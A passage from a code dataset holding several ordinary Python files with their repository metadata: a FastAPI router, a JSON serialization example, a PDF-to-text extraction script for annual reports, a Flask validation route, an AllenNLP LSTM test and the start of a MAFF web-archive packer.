dataset_deleted)\n return dataset_deleted\n", "repo_name": "co-demos/fastapi-boilerplate", "sub_path": "sql_app/routers/routers_datasets.py", "file_name": "routers_datasets.py", "file_ext": "py", "file_size_in_byte": 6969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pprint.PrettyPrinter", "line_number": 34, "usage_type": "call"}, {"api_name": "schemas.schemas_dataset.DatasetCreate", "line_number": 47, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 49, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user", "line_number": 49, "usage_type": "argument"}, {"api_name": "fastapi.encoders.jsonable_encoder", "line_number": 58, "usage_type": "call"}, {"api_name": "schemas.schemas_dataset.DatasetBase", "line_number": 60, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset.create_with_owner", "line_number": 62, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 62, "usage_type": "name"}, {"api_name": "routers.routers_tablemetas.create_tablemeta_for_user", "line_number": 78, "usage_type": "call"}, {"api_name": "schemas.schemas_dataset.Dataset", "line_number": 43, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 98, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user_optional", "line_number": 98, "usage_type": "argument"}, {"api_name": "crud.crud_datasets.dataset.get_by_id", "line_number": 100, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 100, "usage_type": "name"}, {"api_name": "schemas.schemas_dataset.Dataset", "line_number": 93, "usage_type": "name"}, {"api_name": "schemas.schemas_dataset.DatasetUpdate", "line_number": 115, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 117, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user", "line_number": 117, "usage_type": "argument"}, {"api_name": "crud.crud_datasets.dataset.get_by_id", "line_number": 119, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 119, "usage_type": "name"}, {"api_name": "crud.crud_datasets.dataset.update", "line_number": 120, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 120, "usage_type": "name"}, {"api_name": "schemas.schemas_dataset.Dataset", "line_number": 111, "usage_type": "name"}, {"api_name": "schemas.schemas_invitation.InvitationToDataset", "line_number": 131, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 134, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user", "line_number": 134, "usage_type": "argument"}, {"api_name": "crud.crud_datasets.dataset.get_by_id", "line_number": 136, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 136, "usage_type": "name"}, {"api_name": "crud.crud_datasets.dataset.invite", "line_number": 137, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 137, "usage_type": "name"}, {"api_name": "schemas.schemas_dataset.Dataset", "line_number": 127, "usage_type": "name"}, {"api_name": "schemas.schemas_comment.CommentDataset", "line_number": 155, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 158, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user_optional", "line_number": 158, "usage_type": "argument"}, {"api_name": "crud.crud_datasets.dataset.get_by_id", "line_number": 160, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 160, "usage_type": "name"}, {"api_name": "crud.crud_comments.comment.create", "line_number": 161, "usage_type": "call"}, {"api_name": "crud.crud_comments.comment", "line_number": 161, "usage_type": "name"}, {"api_name": "schemas.schemas_comment.Comment", "line_number": 151, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 177, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user_optional", "line_number": 177, "usage_type": "argument"}, {"api_name": "crud.crud_datasets.dataset.get_comments", "line_number": 181, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 181, "usage_type": "name"}, {"api_name": "schemas.schemas_comment.Comment", "line_number": 172, "usage_type": "name"}, {"api_name": "schemas.schemas_patch.PatchDataset", "line_number": 200, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 203, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user_optional", "line_number": 203, "usage_type": "argument"}, {"api_name": "crud.crud_datasets.dataset.get_by_id", "line_number": 205, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 205, "usage_type": "name"}, {"api_name": "crud.crud_patches.patch.create", "line_number": 206, "usage_type": "call"}, {"api_name": "crud.crud_patches.patch", "line_number": 206, "usage_type": "name"}, {"api_name": "schemas.schemas_patch.Patch", "line_number": 196, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 220, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user_optional", "line_number": 220, "usage_type": "argument"}, {"api_name": "crud.crud_datasets.dataset.get_multi", "line_number": 222, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 222, "usage_type": "name"}, {"api_name": "schemas.schemas_dataset.Dataset", "line_number": 215, "usage_type": "name"}, {"api_name": "models.models_user.User", "line_number": 234, "usage_type": "name"}, {"api_name": "crud.crud_users.get_current_user", "line_number": 234, "usage_type": "argument"}, {"api_name": "crud.crud_datasets.dataset.remove", "line_number": 237, "usage_type": "call"}, {"api_name": "crud.crud_datasets.dataset", "line_number": 237, "usage_type": "name"}, {"api_name": "schemas.schemas_dataset.Dataset", "line_number": 229, "usage_type": "name"}]} {"seq_id": "7597487476", "text": "import json\n\n\nclass Serializable(object):\n def __init__(self, *args):\n self.args = args\n\n def serialize(self):\n return json.dumps({'args': self.args})\n\nclass Point2D(Serializable):\n def __init__(self, x, y):\n super().__init__(x, y)\n self.x = x\n self.y = y\n\n\n def __repr__(self):\n return 'Point2D(%d, %d)' % (self.x, self.y)\n\n\nclass Deserializable(Serializable):\n @classmethod\n def deserialize(cls, json_data):\n params = json.loads(json_data)\n return cls(*params['args'])\n\n\nclass BetterPoint2D(Point2D, Deserializable):\n pass\n\n\nif __name__ == \"__main__\":\n point = Point2D(5, 3)\n print('Object: ', point)\n print('Serialized:', point.serialize())\n\n point_returned = BetterPoint2D.deserialize(point.serialize())\n print('After: ', point_returned)\n", "repo_name": "fidemin/python-study", "sub_path": "effective-python/bt34/serializable.py", "file_name": "serializable.py", "file_ext": "py", "file_size_in_byte": 834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.dumps", "line_number": 9, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}]} {"seq_id": "30833373572", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Aug 03 17:33:45 2018\r\n\r\n@author: R550427\r\n\"\"\"\r\n\r\nimport pandas as pd\r\n\r\nimport sys\r\nimport os\r\nimport io\r\nimport re\r\nimport multiprocessing\r\nimport time\r\n\r\n#Convert pdf to text\r\nimport textract\r\nimport PyPDF2\r\nfrom PIL import Image\r\nfrom pypdfocr.pypdfocr_gs import PyGs\r\nimport pytesseract\r\npytesseract.pytesseract.tesseract_cmd = 'Lib/site-packages/pytesseract/tesseract/tesseract'\r\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\r\nfrom pdfminer.converter import TextConverter\r\nfrom pdfminer.layout import LAParams\r\nfrom pdfminer.pdfpage import PDFPage\r\n\r\nimport langdetect\r\n\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n#==============================================================================\r\ndef LanguageName(lang):\r\n threeLetters = [\"fra\", \"spa\", \"ita\", \"deu\", \"eng\", \"nld\", \"ell\", \"tur\", \r\n \"est\", \"fin\", \"swe\", \"gle\", \"lit\", \"ltz\", \"mlt\", \"por\", \r\n \"slv\", \"slk\"]\r\n twoLetters = [\"fr\", \"es\", \"it\", \"de\", \"en\", \"nl\", \"el\", \"tr\", \"et\", \"fi\", \r\n \"sv\", \"ga\", \"lt\", \"lb\", \"mt\", \"pt\", \"sl\", \"sk\"]\r\n #https://fr.wikipedia.org/wiki/Liste_des_codes_ISO_639-1\r\n if (lang in threeLetters):\r\n lang = twoLetters[threeLetters.index(lang)]\r\n elif (lang in twoLetters):\r\n lang = threeLetters[twoLetters.index(lang)]\r\n return lang\r\n#==============================================================================\r\ndef RetrievePdfInfos(pdf):\r\n date_start_pos = [m.start() for m in re.compile(\"[ ][0-9]{4}[ ]\").finditer(pdf)][0]\r\n country = pdf.split()[0]\r\n company = pdf[len(country)+1:date_start_pos]\r\n year = pdf[date_start_pos+1:date_start_pos+5]\r\n lang = pdf[date_start_pos+6:date_start_pos+9]\r\n if (pdf.split()[-1][:-4].isdigit()):\r\n pdfType = pdf[pdf.find(lang)+4:pdf.find(pdf.split()[-1])-1]\r\n else:\r\n pdfType = pdf.split()[-1][:-4]\r\n return country, company, year, lang, pdfType\r\n#==============================================================================\r\ndef CountPagesNumber(path):\r\n pdf = PyPDF2.PdfFileReader(path)\r\n if pdf.isEncrypted:\r\n pdf.decrypt('')\r\n return pdf.numPages\r\n#==============================================================================\r\ndef ConvertPdftoText(path):\r\n try:\r\n text = unicode(textract.process(path), \"utf-8\")\r\n return text\r\n except:\r\n text = \"\"\r\n pagesNumber = CountPagesNumber(path)\r\n pdf = PyPDF2.PdfFileReader(path)\r\n if pdf.isEncrypted:\r\n pdf.decrypt('')\r\n for ith in range(pagesNumber):\r\n page = pdf.getPage(ith)\r\n text += page.extractText()\r\n text = unicode(text.encode(\"utf-8\"), \"utf-8\")\r\n return text\r\n#==============================================================================\r\ndef ConvertScanToText(path, language):\r\n text = \"\"\r\n pagesNumber = CountPagesNumber(path)\r\n PyGs({}).make_img_from_pdf(path)\r\n for ith in range(pagesNumber):\r\n imagePath = path[:-4] + \"_\" + str(ith + 1) + \".JPG\"\r\n image = Image.open(imagePath, mode=\"r\")\r\n text += pytesseract.image_to_string(image, lang = language)\r\n os.remove(imagePath)\r\n return unicode(text.encode(\"utf-8\"), \"utf-8\")\r\n#==============================================================================\r\ndef ConvertFileToText(path, language):\r\n text = ConvertPdftoText(path)\r\n pagesNumber = CountPagesNumber(path)\r\n scannedFile = 0\r\n \r\n if text in [\"\\x0c\" * pagesNumber, \"\"]:\r\n scannedFile = 1\r\n text = ConvertScanToText(path, language)\r\n \r\n languageEstimated = LanguageName(str(langdetect.detect_langs(text))[1:3])\r\n \r\n # If the pdf language is confusing, extract the text with a more precise tool (but less efficient)\r\n if ((LanguageName(str(langdetect.detect_langs(text))[1:3]) != language) & (scannedFile == 0)):\r\n prm = PDFResourceManager()\r\n iob = io.BytesIO()\r\n device = TextConverter(prm, iob, codec = \"utf-8\", laparams = LAParams())\r\n pdf = open(path, \"rb\")\r\n interpreter = PDFPageInterpreter(prm, device)\r\n for page in PDFPage.get_pages(pdf, set(), maxpages = 0, password = \"\", caching = True, check_extractable = True):\r\n interpreter.process_page(page)\r\n text = iob.getvalue()\r\n pdf.close()\r\n device.close()\r\n iob.close()\r\n \r\n languageEstimated = LanguageName(str(langdetect.detect_langs(text))[1:3])\r\n \r\n return text, scannedFile, languageEstimated\r\n#==============================================================================\r\ndef CreateDataWithoutDuplicates(directoryPath):\r\n dataDic = []\r\n ithFile = 0\r\n total_nb = len([pdf for pdf in os.listdir(directoryPath) if (pdf[-4:] == \".pdf\")])\r\n sys.stdout.write(\"\\r\")\r\n sys.stdout.write(\"CreateDataWithoutDuplicates -- [\" + total_nb * \" \" + \"] 0%\")\r\n \r\n # Create the dataframe of unique pdfs\r\n for pdf in os.listdir(directoryPath):\r\n if (pdf[-4:] == \".pdf\"):\r\n ithFile += 1\r\n path = directoryPath + \"/\" + pdf\r\n pdfInfos = RetrievePdfInfos(pdf)\r\n try:\r\n pagesNumber = CountPagesNumber(path)\r\n textInfos = ConvertFileToText(path, pdfInfos[3])\r\n dataDic.append({\"Country\": pdfInfos[0], \"Company\": pdfInfos[1], \"Year\": pdfInfos[2], \r\n \"Text\": textInfos[0].encode(\"utf-8\"), \"Scan\": textInfos[1],\r\n \"Pages_Number\": pagesNumber, \"Language_Expected\": pdfInfos[3], \r\n \"Language_Estimated\": textInfos[2], \"Type\": pdfInfos[4]})\r\n except:\r\n pass\r\n \r\n sys.stdout.write(\"\\r\")\r\n sys.stdout.write(\"CreateDataWithoutDuplicates -- [\" + ithFile * \"#\" + (total_nb-ithFile) * \" \" + \"] \" + str(int((float(ithFile)/total_nb)*100)) + \"%\")\r\n\r\n df = pd.DataFrame(dataDic)\r\n df.to_csv(directoryPath[:directoryPath.rfind(\"/\")+1] + str(directoryPath[directoryPath.rfind(\"/\")+1:]) + \"-data.csv\")\r\n print(\"\\nCreate Data Without Duplicates: OK\")\r\n#============================================================================== \r\ndef CreateDataWithDuplicates(directoryPath): \r\n dataDic = []\r\n shortNames = []\r\n\r\n # Retrieve all shortNames (names that should be unique)\r\n for duplicate in os.listdir(directoryPath):\r\n date_start_pos = [m.start() for m in re.compile(\"[ ][0-9]{4}[ ]\").finditer(duplicate)][0]\r\n shortNames.append(duplicate[:date_start_pos+5])\r\n shortNames = list(set(shortNames))\r\n \r\n # Stock all duplicates together\r\n pdfs = []\r\n for shortName in shortNames:\r\n duplicates = []\r\n for duplicate in os.listdir(directoryPath):\r\n if (duplicate.rfind(shortName) != -1):\r\n duplicates.append(duplicate)\r\n pdfs.append(duplicates) \r\n sys.stdout.write(\"\\r\")\r\n sys.stdout.write(\"CreateDataWithDuplicates -- [\" + len(pdfs) * \" \" + \"] 0%\")\r\n \r\n # Create the dataframe of duplicates\r\n for i in range(len(pdfs)):\r\n d = pdfs[i]\r\n pdfInfos = RetrievePdfInfos(d[0])\r\n pagesNumbers = []\r\n texts = []\r\n scans = []\r\n estimatedlanguages = []\r\n for j in range(len(d)):\r\n path = directoryPath + \"/\" + d[j]\r\n try:\r\n pagesNumbers.append(CountPagesNumber(path))\r\n textInfos = ConvertFileToText(path, pdfInfos[3])\r\n texts.append(textInfos[0].encode('utf-8'))\r\n scans.append(textInfos[1])\r\n estimatedlanguages.append(textInfos[2])\r\n except:\r\n pass\r\n \r\n dataDic.append({\"Country\": pdfInfos[0], \"Company\": pdfInfos[1], \"Year\": pdfInfos[2], \"Text\": texts, \r\n \"Scan\": scans, \"Pages_Number\": pagesNumbers, \"Language_Expected\": pdfInfos[3], \r\n \"Language_Estimated\": estimatedlanguages, \"Type\": pdfInfos[4]})\r\n sys.stdout.write(\"\\r\")\r\n sys.stdout.write(\"CreateDataWithDuplicates -- [\" + (i+1) * \"#\" + (len(pdfs)-(i+1)) * \" \" + \"] \" + str(int((float(i+1)/len(pdfs))*100)) + \"%\")\r\n \r\n df = pd.DataFrame(dataDic)\r\n df.to_csv(directoryPath[:directoryPath.rfind(\"/\")+1] + str(directoryPath[directoryPath.rfind(\"/\")+1:]) + \"-data.csv\")\r\n print(\"\\nCreate Data With Duplicates: OK\")\r\n#============================================================================== \r\n\r\n# MAIN\r\ndirectoryPath = \"C:/temp/Annual_Reports_Netherlands_cleaned\"\r\nif (__name__ == '__main__'):\r\n start = time.time()\r\n p1 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + \"/Folder1\"] )\r\n p2 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + \"/Folder2\"])\r\n p3 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + \"/Folder3\"])\r\n p4 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + \"/Folder4\"])\r\n p5 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + \"/Folder5\"])\r\n p6 = multiprocessing.Process(target=CreateDataWithDuplicates, args=[directoryPath + \"/Duplicates\"])\r\n p1.start()\r\n p2.start()\r\n p3.start()\r\n p4.start()\r\n p5.start()\r\n p6.start()\r\n p1.join()\r\n p2.join()\r\n p3.join()\r\n p4.join()\r\n p5.join()\r\n p6.join()\r\n print(\"\\nSpent time: \" + str(int(time.time()-start)) + \" seconds\")\r\n \r\n\"\"\" \r\ndef CreateData(directoryPath, isMultiprocessing):\r\n \r\n if (isMultiprocessing == 0):\r\n start = time.time()\r\n for folder in os.listdir(directoryPath):\r\n if ((folder[-4] != '.') & (folder != 'Error')):\r\n print('\\n' + str(folder))\r\n if (folder != 'Duplicates'):\r\n CreateDataWithoutDuplicates(directoryPath + '/' + folder)\r\n else:\r\n CreateDataWithDuplicates(directoryPath + '/Duplicates')\r\n print('\\nSpent time: ' + str(int(time.time()-start)) + ' seconds')\r\n \r\n else:\r\n if (__name__ == '__main__'):\r\n start = time.time()\r\n p1 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + '/Folder1'] )\r\n p2 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + '/Folder2'])\r\n p3 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + '/Folder3'])\r\n p4 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + '/Folder4'])\r\n p5 = multiprocessing.Process(target=CreateDataWithoutDuplicates, args=[directoryPath + '/Folder5'])\r\n p6 = multiprocessing.Process(target=CreateDataWithDuplicates, args=[directoryPath + '/Duplicates'])\r\n p1.start()\r\n p2.start()\r\n p3.start()\r\n p4.start()\r\n p5.start()\r\n p6.start()\r\n p1.join()\r\n p2.join()\r\n p3.join()\r\n p4.join()\r\n p5.join()\r\n p6.join()\r\n print('\\nSpent time: ' + str(int(time.time()-start)) + ' seconds')\r\n \r\n \r\nCreateData(directoryPath = 'C:/temp/Annual_Reports_France_cleaned', isMultiprocessing = 1)\r\n\"\"\"\r\n", "repo_name": "AnnualReportsBdF/Code", "sub_path": "Create Data v2.py", "file_name": "Create Data v2.py", "file_ext": "py", "file_size_in_byte": 11408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pytesseract.pytesseract", "line_number": 23, "usage_type": "attribute"}, {"api_name": "warnings.filterwarnings", "line_number": 32, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 49, "usage_type": "call"}, {"api_name": "PyPDF2.PdfFileReader", "line_number": 61, "usage_type": "call"}, {"api_name": "textract.process", "line_number": 68, "usage_type": "call"}, {"api_name": "PyPDF2.PdfFileReader", "line_number": 73, "usage_type": "call"}, {"api_name": "pypdfocr.pypdfocr_gs.PyGs", "line_number": 85, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 88, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 88, "usage_type": "name"}, {"api_name": "pytesseract.image_to_string", "line_number": 89, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 90, "usage_type": "call"}, {"api_name": "langdetect.detect_langs", "line_number": 102, "usage_type": "call"}, {"api_name": "langdetect.detect_langs", "line_number": 105, "usage_type": "call"}, {"api_name": "pdfminer.pdfinterp.PDFResourceManager", "line_number": 106, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 107, "usage_type": "call"}, {"api_name": "pdfminer.converter.TextConverter", "line_number": 108, "usage_type": "call"}, {"api_name": "pdfminer.layout.LAParams", "line_number": 108, "usage_type": "call"}, {"api_name": "pdfminer.pdfinterp.PDFPageInterpreter", "line_number": 110, "usage_type": "call"}, {"api_name": "pdfminer.pdfpage.PDFPage.get_pages", "line_number": 111, "usage_type": "call"}, {"api_name": "pdfminer.pdfpage.PDFPage", "line_number": 111, "usage_type": "name"}, {"api_name": "langdetect.detect_langs", "line_number": 118, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 125, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 126, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 126, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 130, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 145, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 145, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 146, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 146, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 148, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 157, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 158, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 166, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 170, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 170, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 171, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 171, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 195, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 195, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 196, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 198, "usage_type": "call"}, {"api_name": "time.time", "line_number": 206, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 207, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 208, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 209, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 210, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 211, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 212, "usage_type": "call"}, {"api_name": "time.time", "line_number": 225, "usage_type": "call"}]} {"seq_id": "15553038601", "text": "from http.client import BAD_REQUEST\nimport uuid\nfrom flask import current_app, request, jsonify, Blueprint\nfrom src.Repository.use_case_repository import UseCaseRepository\nfrom src.lib_exceptions.exceptions.validation_exception import ValidationException\nfrom src.services.use_case_service import do_something\nfrom src.lib_logs import logger_printer\n\nfrom src.domain import entity_model\nfrom ..lib_logs import logger_printer\n\napi = Blueprint('api', __name__, url_prefix='/api/v1')\nlogger = logger_printer('ms-example', 'https', 'client-examples')\n\n@api.route('/', methods=['GET'])\ndef root():\n \"\"\"\n Root entrypoint\n :return: str\n \"\"\"\n return jsonify({'result': 'working...'}), 200\n\n@api.route(\"/use_case_example\", methods=['POST'])\ndef do_use_case_example():\n \"\"\"\n use case example\n\n curl --header \"Content-Type: application/json\" --request POST \\\n --data '{\"name\":\"xyz1\", \"operation\":\"+\", \"operator\":\"20\"}' \\\n http://localhost:5000/use_case_example\n\n :return: str\n \"\"\"\n p_name = request.json['name']\n p_operation = request.json['operation']\n p_operator = request.json['operator']\n\n if not p_name or not isinstance(p_name, str):\n logger.log_message(nivel='ERROR', mensaje='El parámetro \"name\" no es correcto', carga_util={'name': p_name}, codigo_http='422', proceso='request')\n raise ValidationException(code_error='MSRP-01')\n\n if not p_operation or not isinstance(p_operation, str):\n logger.log_message(nivel='ERROR', mensaje='El parámetro \"operation\" no es correcto', carga_util={'operation': p_operation}, codigo_http='422', proceso='request')\n raise ValidationException(code_error='MSRP-01')\n\n if not p_operator or not isinstance(p_operator, int):\n logger.log_message(nivel='ERROR', mensaje='El parámetro \"operator\" no es correcto', carga_util={'operator': p_operator}, codigo_http='422', proceso='request')\n raise ValidationException(code_error='MSRP-01')\n\n logger.log_message(nivel='INFO', mensaje='request in progress', proceso='request')\n data_request = entity_model.UseCaseRequest(uuid='',\n name=p_name,\n operation=p_operation,\n operator=p_operator)\n\n repository = UseCaseRepository()\n response_use_case = do_something(data_request, repository)\n logger.log_message(nivel='INFO', mensaje='success request', codigo_http='201', proceso='request')\n\n data = jsonify({'result': response_use_case.resul})\n return data, 201", "repo_name": "ManuNttCode/archetype-flask", "sub_path": "src/routes/routes.py", "file_name": "routes.py", "file_ext": "py", "file_size_in_byte": 2592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Blueprint", "line_number": 12, "usage_type": "call"}, {"api_name": "lib_logs.logger_printer", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "src.lib_exceptions.exceptions.validation_exception.ValidationException", "line_number": 40, "usage_type": "call"}, {"api_name": "src.lib_exceptions.exceptions.validation_exception.ValidationException", "line_number": 44, "usage_type": "call"}, {"api_name": "src.lib_exceptions.exceptions.validation_exception.ValidationException", "line_number": 48, "usage_type": "call"}, {"api_name": "src.domain.entity_model.UseCaseRequest", "line_number": 51, "usage_type": "call"}, {"api_name": "src.domain.entity_model", "line_number": 51, "usage_type": "name"}, {"api_name": "src.Repository.use_case_repository.UseCaseRepository", "line_number": 56, "usage_type": "call"}, {"api_name": "src.services.use_case_service.do_something", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 60, "usage_type": "call"}]} {"seq_id": "3014243891", "text": "import numpy\nimport torch\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\nfrom allennlp.modules.stacked_alternating_lstm import StackedAlternatingLstm\nfrom allennlp.common.testing import AllenNlpTestCase\n\n\nclass TestStackedAlternatingLstm(AllenNlpTestCase):\n def test_stacked_alternating_lstm_completes_forward_pass(self):\n input_tensor = torch.rand(4, 5, 3)\n input_tensor[1, 4:, :] = 0.0\n input_tensor[2, 2:, :] = 0.0\n input_tensor[3, 1:, :] = 0.0\n input_tensor = pack_padded_sequence(input_tensor, [5, 4, 2, 1], batch_first=True)\n lstm = StackedAlternatingLstm(3, 7, 3)\n output, _ = lstm(input_tensor)\n output_sequence, _ = pad_packed_sequence(output, batch_first=True)\n numpy.testing.assert_array_equal(output_sequence.data[1, 4:, :].numpy(), 0.0)\n numpy.testing.assert_array_equal(output_sequence.data[2, 2:, :].numpy(), 0.0)\n numpy.testing.assert_array_equal(output_sequence.data[3, 1:, :].numpy(), 0.0)\n\n def test_lstms_are_interleaved(self):\n lstm = StackedAlternatingLstm(3, 7, 8)\n for i, layer in enumerate(lstm.lstm_layers):\n if i % 2 == 0:\n assert layer.go_forward\n else:\n assert not layer.go_forward\n", "repo_name": "allenai/allennlp", "sub_path": "tests/modules/stacked_alternating_lstm_test.py", "file_name": "stacked_alternating_lstm_test.py", "file_ext": "py", "file_size_in_byte": 1287, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11609, "dataset": "github-code", "pt": "78", "api": [{"api_name": "allennlp.common.testing.AllenNlpTestCase", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.rand", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn.utils.rnn.pack_padded_sequence", "line_number": 15, "usage_type": "call"}, {"api_name": "allennlp.modules.stacked_alternating_lstm.StackedAlternatingLstm", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn.utils.rnn.pad_packed_sequence", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 21, "usage_type": "attribute"}, {"api_name": "allennlp.modules.stacked_alternating_lstm.StackedAlternatingLstm", "line_number": 24, "usage_type": "call"}]} {"seq_id": "6790818277", "text": "from uuid import uuid1\nfrom collections import namedtuple\nimport os\nimport glob\nimport shutil\nimport re\n\n\nDEFAULT_OUTPUT_DIR = \"maff_output\"\nTXT_LOG_NAME = \"log.txt\"\nINDEX_HTML_PREFIX = \"index\"\nINDEX_HTML_POSTFIX = \".html\"\nDIR_FILES_POSTFIX = \"_files\"\nINDEX_RDF_FILENAME = \"index.rdf\"\n\nTEMP_DIR = str(uuid1())\n\nERR_DIR_NOT_FOUND = \"Dir not found for html: '{}'\"\nERR_MAFF_EXISTS = \"MAFF-file this with name already exists: '{}'\"\nERR_EMPTY_FILENAME = \"Empty filename after remove reserved chars\"\n\nHTML_MASKS = (\".htm\", \".html\")\nRESERVED_CHAR = \"/\\\\%<>:\\\"?* |.\"\n\nINDEX_RDF_DATA = \"\"\"\n\n\n \n \n \n\"\"\".lstrip()\n\nLogRow = namedtuple(\n \"LogRow\", [\"original_filename\", \"new_filename\", \"status\", \"message\"]\n)\n\n\ndef _format_log_row_to_txt(log_tuple):\n \"\"\"Format log-row to text format for print log and save to TXT_LOG_NAME\"\"\"\n return (f\"Original filename: {log_tuple.original_filename}\\n\"\n f\"New filename: {log_tuple.new_filename}\\n\"\n f\"Status: {log_tuple.status}\\n\"\n + f\"Message: {log_tuple.message}\\n\" * bool(log_tuple.message) + \"\\n\")\n\n\ndef _get_html_files(files_path, file_prefix=\"*\"):\n for file in glob.glob(os.path.join(files_path, f\"{file_prefix}.htm*\")):\n if file.endswith((\".htm\", \".html\")):\n yield file\n\n\ndef pack_to_maff(inp_file_with_path,\n out_path=DEFAULT_OUTPUT_DIR,\n temp_path=TEMP_DIR) -> str:\n stat = os.stat(inp_file_with_path)\n inp_file = inp_file_with_path.split(os.path.sep)[-1]\n out_filename = \"\".join(filter(lambda c: c not in RESERVED_CHAR,\n inp_file[:inp_file.rfind(\".\")]))[:145]\n\n assert 